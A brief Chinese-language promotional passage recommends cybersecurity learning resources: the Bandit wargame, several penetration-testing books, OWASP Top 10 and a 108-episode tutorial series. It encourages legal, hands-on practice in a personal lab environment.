(Bandit系列)非常好的Linux命令行及基础安全挑战。文档与书籍《Metasploit渗透测试指南》《Web安全深度剖析》《内网安全攻防渗透测试实战指南》OWASP Top 10每年更新的十大Web应用安全风险必读。这套108集的教程是一个强大的引擎和地图能带你穿越网络安全学习的迷雾区。真正的成长来自于将教程中的每一步在自己的实验环境中亲手复现、遇到错误、搜索解决、并最终获得“啊哈”时刻的顿悟。从今天起启动你的Kali虚拟机选择一个最简单的靶场开始第一次扫描。记住在安全的道路上合法的练习和持续的好奇心是你最可靠的伙伴。
